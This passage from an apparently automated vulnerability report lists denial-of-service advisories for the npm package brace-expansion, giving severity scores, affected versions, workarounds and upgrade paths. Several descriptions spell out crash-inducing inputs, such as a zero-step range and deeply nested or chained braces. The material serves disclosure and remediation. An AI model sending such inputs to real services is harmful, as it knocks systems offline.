limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to 